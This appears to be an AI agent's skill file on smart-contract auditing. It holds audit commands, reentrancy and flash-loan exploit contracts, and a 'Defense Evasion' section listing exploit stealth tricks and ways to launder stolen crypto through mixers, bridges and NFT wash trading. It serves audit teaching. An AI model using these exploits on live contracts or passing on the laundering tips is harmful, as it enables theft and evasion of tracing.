blockchain-web3

Skill: Blockchain & Web3 Security

Supplementary Files:

• payloads.md — Command catalogue for Slither/Mythril/Echidna/Foundry plus exploit PoC code for reentrancy, flash loans, integer overflow, access control bypass, MEV, bridge attacks, oracle manipulation, proxy collisions, and Vyper-specific patterns — 15 sections with real Solidity/Vyper code.
• test-cases.md — Structured test cases (Slither full run, Mythril symbolic execution, Foundry fuzzing, Echidna invariants, mainnet fork replay, reentrancy PoC, flash loan oracle manipulation PoC, integer overflow PoC, access control bypass, OpenZeppelin integration, multi-sig review, timelock review) — 12 cases across 5 categories.
• guides/smart-contract-audit-playbook.md — End-to-end audit playbook: scoping → recon → static analysis → dynamic testing → fuzzing → PoC → report. Includes pre-audit checklist, SWC ID mapping, Mythril modes, mainnet fork strategy, and report template.

Summary

Blockchain & Web3 security skill domain covering smart contract auditing, DeFi economic attacks, and wallet/dApp security.

Tools: Slither, Mythril, Echidna, Foundry (forge/cast/anvil), Hardhat, Brownie, Manticore, Certora Prover, Solhint, Medusa (+5 more)

Domain: blockchain

MITRE ATT&CK: N/A (application-layer; maps loosely to TA0001-Initial Access via compromise)

Description

Audit, exploit, and harden smart contracts and DeFi protocols on EVM-compatible chains (Ethereum, Arbitrum, Optimism, Base, Polygon, BNB Chain) and Solana. This skill covers the four things that make Web3 security fundamentally different from traditional application security:

1. Immutability — once deployed, a contract cannot be patched. A bug in deploy() is forever, unless a proxy upgrade pattern was wired in from day one. The cost of a missed finding is not a CVE — it is drained liquidity.
2. Public state by default — every storage slot, every balance, every approval is readable by anyone. Reconnaissance is free for attackers. There is no "internal" network.
3. Composability multiplies attack surface — a protocol that integrates 5 other protocols inherits all of their bugs plus all the bugs created by the integration itself. The 2022 Nomad bridge incident was a single misinitialized root hash that anyone could copy-paste.
4. Economic attacks are first-class — flash loans let an attacker borrow billions of dollars uncollateralized for the duration of a single transaction. Oracle manipulation, sandwich attacks, and liquidation MEV have no equivalent in traditional appsec.

Difference from api-security: API security covers REST/GraphQL/gRPC authorization, rate limiting, and JWT issues. Web3 covers on-chain smart contracts where there is no rate limit, no server-side auth, and the "API" is a 500-gas function call that anyone can invoke.

Difference from crypto-attacks: Crypto-attacks covers classical cryptographic algorithm weaknesses (RSA, ECC, AES, padding oracles). Blockchain-web3 covers application-layer logic bugs in smart contracts and protocol design — the cryptography is sound; the code on top of it is not.

Difference from exploit-development: Exploit-development covers memory corruption, ROP chains, and binary exploitation. Web3 exploits are written in Solidity/Vyper and executed as transactions, not shellcode — but the rigor of PoC writing transfers directly.

Difference from supply-chain-security: Supply-chain covers dependency/package provenance. Web3 has its own supply-chain problem (verified source vs deployed bytecode, proxy implementation swaps, malicious token hooks) covered here.

Use Cases

• Pre-deploy smart contract audit: Slither + Mythril + manual review of a protocol before mainnet deployment. Find the bug before the $50M gets drained, not after.
• Post-incident forensics: Given a drained address and a transaction hash, reverse-engineer the exploit, identify the root cause (reentrancy, oracle manipulation, storage collision), and write a public post-mortem.
• DeFi protocol review: Audit a lending DEX, AMM, or yield aggregator for flash loan attack vectors, oracle manipulation, liquidation MEV, and composability risks across integrated protocols.
• NFT contract review: ERC-721/ERC-1155 contracts for mint/transfer/burn logic bugs, metadata manipulation, royalty enforcement bypass, and arbitrary hook execution via safeTransferFrom.
• Cross-chain bridge review: Validator set compromise, signature replay, message-passing deserialization, and the infinitely recurring "trusted forwarder gave unlimited power to a 2-line helper" bug.
• Wallet / dApp frontend pentest: Walletconnect session hijack, transaction signing phishing (the "blind signing" problem), infinite token approvals, and frontend ↔ contract drift.
• Governance attack vector review: Vote delegation, quorum manipulation, flash-loan-voted governance proposals, timelock bypass, and multisig social engineering.
• MEV strategy review: From the searcher perspective, identify sandwich opportunities and frontrun-able commits; from the protocol perspective, design slippage and commit-reveal defenses.

Core Tools

Static Analysis

Symbolic Execution / Fuzzing / Property Testing

Dynamic Analysis & Testing Frameworks

Bytecode Analysis & Decompilation

Formal Verification

DeFi-Specific & MEV

Methodology

Smart Contract Audit Five-Phase Process

Phase 1            Phase 2            Phase 3            Phase 4            Phase 5
Recon & Source  →  Static Analysis →  Dynamic Testing → Fuzzing &       →  Exploit PoC +
Verification       (Slither, Mythril) (Foundry tests)   Invariants          Report
   │                  │                  │                  │                  │
   ▼                  ▼                  ▼                  ▼                  ▼
Source vs bytecode  90+ detectors,     forge test -vvv,  Echidna invariants, Concrete PoC on
match (Etherscan /  inheritance graph, mainnet fork      Foundry invariants, anvil fork,
Sourcify), protocol  SWC IDs,           replay of past    Certora rules      severity-rated
README, dependencies ownership matrix    incidents                           report with PoC
                                                          SMT counterexamples

Phase 1: Recon & Source Verification

# Verify on-chain bytecode matches Etherscan-verified source
cast code 0xTarget > deployed_runtime.bytecode
forge inspect Contract irOptimized --optimizer-runs 200 > compiled_runtime.bytecode
diff deployed_runtime.bytecode compiled_runtime.bytecode
# If diff non-empty: source ≠ deployed — re-derive or refuse to audit

# Alternative: Sourcify (decentralized verification)
curl https://repo.sourcify.dev/contracts/full_match/1/0xTarget/metadata.json | jq

# Pull protocol docs, whitepaper, prior audits
gh repo clone <protocol-org>/<protocol-repo>
cat README.md docs/*.md audits/*.pdf 2>/dev/null

Phase 2: Static Analysis

# Slither — full detector run
slither . --filter-paths "lib|test|script"
slither . --exclude naming-convention,solhint-version  # silence noise

# Mythril — symbolic execution (slow on large contracts)
myth analyze src/Vault.sol \
  --execution-timeout 600 \
  --max-depth 50 \
  --backend mythril \
  --modules arithmetic,ether_thief,transaction_order_independence

# Solhint — lint
solhint 'src/**/*.sol' --max-warnings 0

Phase 3: Dynamic Testing

# Forge — write tests for every external/public function
forge test -vvv --match-contract VaultTest

# Trace a specific failing test
forge test -vvvv --match-test testWithdraw

# Cast — read state without deploying
cast call 0xVault "totalAssets()" --rpc-url $RPC
cast storage 0xVault 0 --rpc-url $RPC  # read slot 0

Phase 4: Fuzzing & Invariants

# Foundry fuzz tests (stateless)
forge test --match-test testFuzz_RevertOnOverflow -vvv

# Foundry invariant tests (stateful)
forge test --match-test invariant_TotalSupplyNeverNegative

# Echidna — external invariant harness
echidna-test echidna/VaultEchidna.sol \
  --contract VaultEchidna \
  --test-mode property \
  --seq-len 100 \
  --test-limit 50000 \
  --workers 4

# Certora — formal property
certoraRun specs/Vault.spec \
  --msg "Vault: totalAssets >= sum(balances)"

Phase 5: Exploit PoC + Report

# Spin up a mainnet fork for the PoC
anvil --fork-url $RPC --fork-block-number 19000000

# Run the exploit as a forge test
forge test --match-test test_PoC_FlashLoanDrain -vvv \
  --fork-url $RPC \
  --fork-block-number 19000000

# Capture the trace for the report
forge test --match-test test_PoC_FlashLoanDrain -vvvv \
  --fork-url $RPC \
  --fork-block-number 19000000 2>&1 | tee evidence/poc_trace.log

Quick Selection Guide

Defense Perspective

Practical Steps

Detailed payloads in payloads.md, complete test checklist in test-cases.md.

Exercise 1: Slither Full Detector Run on a Sample Contract

Goal: get a baseline finding list from Slither on a small contract.

# Install Slither + solc
pip3 install slither-analyzer solc-select
solc-select install 0.8.24 && solc-select use 0.8.24

# Clone a known-buggy contract (e.g., Ethernaut's Reentrance level)
git clone https://github.com/OpenZeppelin/ethernaut
cd ethernaut/contracts/attacks

# Run Slither
slither Reentrance.sol --exclude naming-convention
# Expect: reentrancy-eth, reentrancy-no-eth, timestamp, tx-origin (if applicable)

Exercise 2: Mythril Symbolic Execution

Goal: see what symbolic execution catches that static analysis misses.

myth analyze Reentrance.sol \
  --execution-timeout 300 \
  --max-depth 30 \
  --modules reentrancy,transaction_order_independence,ether_thief \
  -o json > mythril_reentrance.json

# Extract counterexamples
jq '.issues[] | {swc_id, title, description, bytecode}' mythril_reentrance.json

Exercise 3: Echidna Property Testing

Goal: write invariants, let Echidna find counterexamples.

// echidna/VaultEchidna.sol
pragma solidity ^0.8.24;
import "../src/Vault.sol";

contract VaultEchidna {
    Vault internal vault;

    constructor() {
        vault = new Vault();
    }

    // Invariant: total shares never exceeds total assets (modulo rounding)
    function echidna_shares_le_assets() public view returns (bool) {
        return vault.totalShares() <= vault.totalAssets() + 1;
    }

    // Invariant: a single depositor can always withdraw their full balance
    function echidna_deposit_then_withdraw_round_trip(uint256 amt) public {
        uint256 bal_before = address(this).balance;
        vault.deposit{value: amt}();
        vault.withdraw(vault.sharesOf(address(this)));
        assert(address(this).balance >= bal_before);
    }
}

echidna-test echidna/VaultEchidna.sol \
  --contract VaultEchidna \
  --test-mode property \
  --test-limit 100000 \
  --seq-len 1 \
  --workers 4 \
  --corpus-dir corpus/

Exercise 4: Foundry Fuzzing

Goal: stateless property fuzzing in forge test.

// test/Vault.t.sol
function testFuzz_RevertOnDepositOverflow(uint256 amt) public {
    vm.assume(amt > 0 && amt < type(uint128).max);
    vault.deposit{value: amt}();
    assertEq(vault.totalShares(), amt);
}

function testFuzz_WithdrawReleasesExactBalance(uint256 deposit, uint256 withdraw) public {
    vm.assume(deposit > 0 && withdraw <= deposit);
    vault.deposit{value: deposit}();
    uint256 bal = address(this).balance;
    vault.withdraw(withdraw);
    assertEq(address(this).balance, bal + withdraw);
}

forge test --match-test testFuzz -vvv --fuzz-runs 10000

Exercise 5: Mainnet Fork with Anvil

Goal: replay real protocol state locally and test against it.

# Freeze state at a specific block
anvil --fork-url $MAINNET_RPC --fork-block-number 19000000 --port 8545 &

# Run a test against the fork
forge test --match-test test_PoC_DrainVault \
  --fork-url http://localhost:8545 \
  --fork-block-number 19000000 \
  -vvv

# Cast: read state on the fork
cast call 0xVault "totalAssets()" --rpc-url http://localhost:8545

Exercise 6: Reentrancy Exploit PoC

Goal: write a concrete exploit contract that drains a vulnerable vault.

// test/ReentrancyPoC.t.sol
contract Attacker {
    IVault public vault;

    constructor(address _vault) { vault = IVault(_vault); }

    function pwn() external payable {
        vault.deposit{value: 1 ether}();
        vault.withdraw(1 ether);
    }

    // Called by vault during withdraw → re-enters before balance is zeroed
    receive() external payable {
        if (address(vault).balance >= 1 ether) {
            vault.withdraw(1 ether);
        }
    }
}

function test_PoC_DrainViaReentrancy() public {
    Attacker attacker = new Attacker(address(vault));
    vm.deal(address(attacker), 1 ether);

    uint256 vaultBalBefore = address(vault).balance;
    attacker.pwn();

    assertEq(address(vault).balance, 0, "vault drained");
    assertGt(address(attacker).balance, vaultBalBefore, "attacker profit");
}

Exercise 7: Flash Loan Attack PoC (Price Oracle Manipulation)

Goal: borrow uncollateralized via Aave, manipulate a Uniswap V2 spot price, exploit a protocol that uses that spot price as oracle.

// test/FlashLoanPoC.t.sol
interface IAavePool {
    function flashLoan(address receiver, address[] calldata assets, uint256[] calldata amounts, bytes calldata params) external;
}

interface IUniswapV2Pair {
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}

contract FlashLoanAttacker {
    IVictim public victim;
    IUniswapV2Pair public pair;
    IAavePool public aave;

    function attack() external {
        address[] memory assets = new address[](1);
        assets[0] = WETH;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 100_000 ether;
        aave.flashLoan(address(this), assets, amounts, "");
    }

    function executeOperation(address[] calldata, uint256[] calldata amounts, uint256[] calldata premiums, address, bytes calldata) external returns (bool) {
        // 1. Dump borrowed WETH into the pair → spot price spikes
        IERC20(WETH).transfer(address(pair), 50_000 ether);
        pair.swap(0, 1_000_000 ether, address(this), "");

        // 2. Victim uses spot price → loans us 5M against the artificially inflated collateral
        victim.borrow(5_000_000 ether);

        // 3. Reverse the price, repay Aave
        // ...
        IERC20(WETH).approve(address(aave), amounts[0] + premiums[0]);
        return true;
    }
}

Exercise 8: Integer Overflow (Pre-0.8.0 or unchecked {})

Goal: exploit a contract compiled pre-0.8.0 (or one that uses unchecked {}).

// Vulnerable contract (pre-0.8.0 semantics, or compiled in 0.8+ with unchecked)
contract TokenStore {
    mapping(address => uint256) public balanceOf;

    function buy(uint256 amount) public payable {
        // Vulnerable: total cost wraps around if amount is huge
        unchecked {
            uint256 cost = amount * 1 ether;  // overflow → tiny number
            require(msg.value >= cost, "insufficient");
            balanceOf[msg.sender] += amount;
        }
    }
}

# Forge test proving the overflow
forge test --match-test test_PoC_OverflowBuy -vvv

Exercise 9: Audit Report Writing

Goal: turn a finding into a structured report row.

### [HIGH] Reentrancy in Vault.withdraw() drains all deposits

**Severity**: HIGH
**SWC ID**: SWC-107 (Reentrancy)
**Location**: src/Vault.sol:42-58

**Description**:
`Vault.withdraw()` calls `msg.sender.call{value: amount}("")` *before* zeroing
the caller's balance. A malicious contract with a `receive()` hook can re-enter
`withdraw()` to drain the full vault balance in a single transaction.

**Impact**:
Total loss of all user deposits. On mainnet deployment at block 19M with 1000
ETH TVL, the entire balance is recoverable by any address.

**Proof of Concept**:
`test/ReentrancyPoC.t.sol::test_PoC_DrainViaReentrancy` — runs against an anvil
fork and asserts the vault balance reaches 0.

**Recommendation**:
Apply Checks-Effects-Interactions: zero `balances[msg.sender]` *before* the
external call. Additionally inherit OpenZeppelin's `ReentrancyGuard` and apply
`nonReentrant` to every external function that performs an external call.

Safety Notes

• Testnet vs mainnet: never run exploits or PoCs against mainnet contracts without explicit authorization. Use anvil --fork-url to replay mainnet state locally — funds drained on a fork are simulated, not real.
• Authorization scope: bug bounty programs (Immunefi, code4rena, Cantina) define what's in scope. Exploiting a contract outside the declared scope — even with no profit intent — is illegal in most jurisdictions.
• Economic risk of live testing: even reading state from mainnet is fine, but any transaction broadcast to mainnet (including failed ones) leaks your address and intent. MEV bots watch the public mempool and will frontrun anything profitable.
• No live attacks: never deploy an exploit against a contract you don't own, even if the bounty program pays retroactively. The legal status of "I exploited then returned funds" varies wildly by jurisdiction. Submit PoCs as forge tests on a fork instead.
• Private keys: never commit RPC URLs with embedded API keys. Never commit deployer private keys, even for testnet. Use forge script with --interactive or environment variables in .env (gitignored).
• Flash loan attacks are real: if your protocol is live and you discover a flash loan vulnerability, treat it as a 911 incident — fund retrieval is a race against anonymous searchers. Contact the team privately first, not on Twitter.
• Immutability cuts both ways: a deployed contract cannot be patched. If you find a bug post-deployment, the only options are (a) a proxy upgrade (if wired in), (b) a migration to a new contract, or (c) a whitehat rescue. Plan for all three.

Detection Methods

Smart Contract Audit Detection

• Static analysis tools: Slither, Mythril, Mythos; detect reentrancy, overflow, access control.
• Formal verification: Certora, K Framework; proves contract behavior against spec.
• Fuzz testing: Echidna, Harvey; finds assertion violations via randomized inputs.
• Runtime monitoring: Forta, OpenZeppelin Defender; live detection of exploit patterns.

On-Chain Anomaly Detection

• Gas price spikes: Sudden gas price increase; MEV extraction or DoS attack.
• Token transfer patterns: Large transfers to newly-created contracts; potential exploit.
• Flash loan signatures: Borrow + multiple protocol interactions + repay in single tx.
• Sandwich attack patterns: Same-block swap + opposite-direction swap sandwiching victim.

SIEM Detection Rules

• Splunk SPL (Web3): index=web3 method="eth_getLogs" | stats count by address | where count > 1000
• Forta bots: Community-built detection bots for emerging threats.
• Chainalysis / TRM Labs: Transaction monitoring for sanctioned addresses.
• Etherscan token approval alerts: User notification for suspicious token approvals.

Defense Evasion Techniques

Smart Contract Exploit Stealth

• Obfuscate exploit logic: Use complex math to hide malicious behavior; defeats Slither.
• Use assembly/Yul: Bypass Solidity safety checks; lower-level manipulation.
• Self-destruct after exploit: selfdestruct to make contract unrecoverable for analysis.
• Use CREATE2: Pre-compute address; deploy malicious contract at known address later.
• Proxy pattern abuse: Use upgradeable proxy to deploy "update" that drains funds.

On-Chain Laundering

• Tornado Cash: 100 ETH denominations; breaks deterministic trace.
• Railgun: Privacy-preserving DEX; zk-based shielding.
• Cross-chain bridges: Hop, Across, Stargate; spread funds across L2s.
• Mixers + DEX: Mixer → DEX swap → mixer; multiple currency swaps break trace.
• NFT wash trading: Convert ETH to NFT, transfer NFT, sell on different marketplace.

MEV / Front-Running Stealth

• Private mempools: Flashbots Protect, Merkle, BloXroute; avoid public mempool visibility.
• MEV boost: Use block builder auctions; ensure transaction inclusion.
• Back-running: Wait for victim transaction; exploit immediately after (no frontrun needed).
• Sandwich in same block: Use builder to ensure ordering; no public mempool visibility.

Hacker Laws

• Trust but Verify — A verified Etherscan source is not proof the deployed bytecode matches. Diff the compiled source against cast code (or use Sourcify full-match). Half of all "post-incident surprises" were unverified or drifted contracts.
• Defense in Depth — A single defense (CEI) is not enough. Layer nonReentrant + slippage protection + multi-sig admin + timelock + bug bounty. The 2016 DAO hack had CEI; it also had a recursive call path CEI didn't cover.
• First Principles — Every DeFi exploit reduces to: state written out of order, arithmetic miscomputed, or oracle lied. Memorize the three; spot every instance.
• Minimize Attack Surface — Composability multiplies surface. Every external contract your protocol calls is a new attack surface. Whitelist trusted callers; minimize external calls; quarantine untrusted tokens via sandboxed wrappers.
• Information Wants to Be Free — All on-chain state is public. There is no "internal" function on a verified contract. Treat the bytecode as the source of truth, not the README.
• Obscurity Is Not Security — "We didn't verify on Etherscan to hide our logic" is not a defense — anyone can decompile bytecode with Dedaub or heimdall in seconds.
• Weakest Link Is Human — Most bridge hacks are not crypto failures; they are social engineering of multisig signers, or a single compromised frontend signing a malicious tx. Audit the humans and the frontend, not just the contract.

Learning Resources

• This skill's supplementary files: payloads.md, test-cases.md
• Deep-dive guide: guides/smart-contract-audit-playbook.md — end-to-end audit workflow with SWC mapping, Mythril modes, mainnet fork strategy, PoC templates, and report structure
• Related skills:
  • skills/api-security/SKILL.md — for dApp backends and the REST/RPC layer in front of contracts
  • skills/crypto-attacks/SKILL.md — for the cryptographic primitives blockchains are built on (ECDSA, BLS)
  • skills/exploit-development/SKILL.md — for PoC writing rigor (transferable to Solidity PoC writing)
  • skills/repo-scan/SKILL.md — for source-code review of the contract repo itself
  • skills/web-auth-bypass/SKILL.md — for the auth layer protecting the RPC frontend
  • skills/pentest-reporting/SKILL.md — for structuring the audit deliverable
• External resources:
  • SWC Registry: swcregistry.io — Smart Contract Weakness Classification
  • Ethernaut (OpenZeppelin): ethernaut.openzeppelin.com — wargame
  • Damn Vulnerable DeFi: damnvulnerabledefi.xyz — DeFi-focused wargame
  • OpenZeppelin Contracts: docs.openzeppelin.com/contracts
  • Foundry Book: book.getfoundry.sh
  • Slither documentation: github.com/crytic/slither
  • Mythril documentation: github.com/Consensys/mythril
  • Echidna: github.com/crytic/echidna
  • Certora: docs.certora.com
  • Immunefi: immunefi.com — bug bounty platform
  • Rekt Database: rekt.news/leaderboard — incident database
  • DeFi Security Database: github.com/defi-security/defi-attacks
• Core system files: SOUL.md, TOOLS.md, IDENTITY.md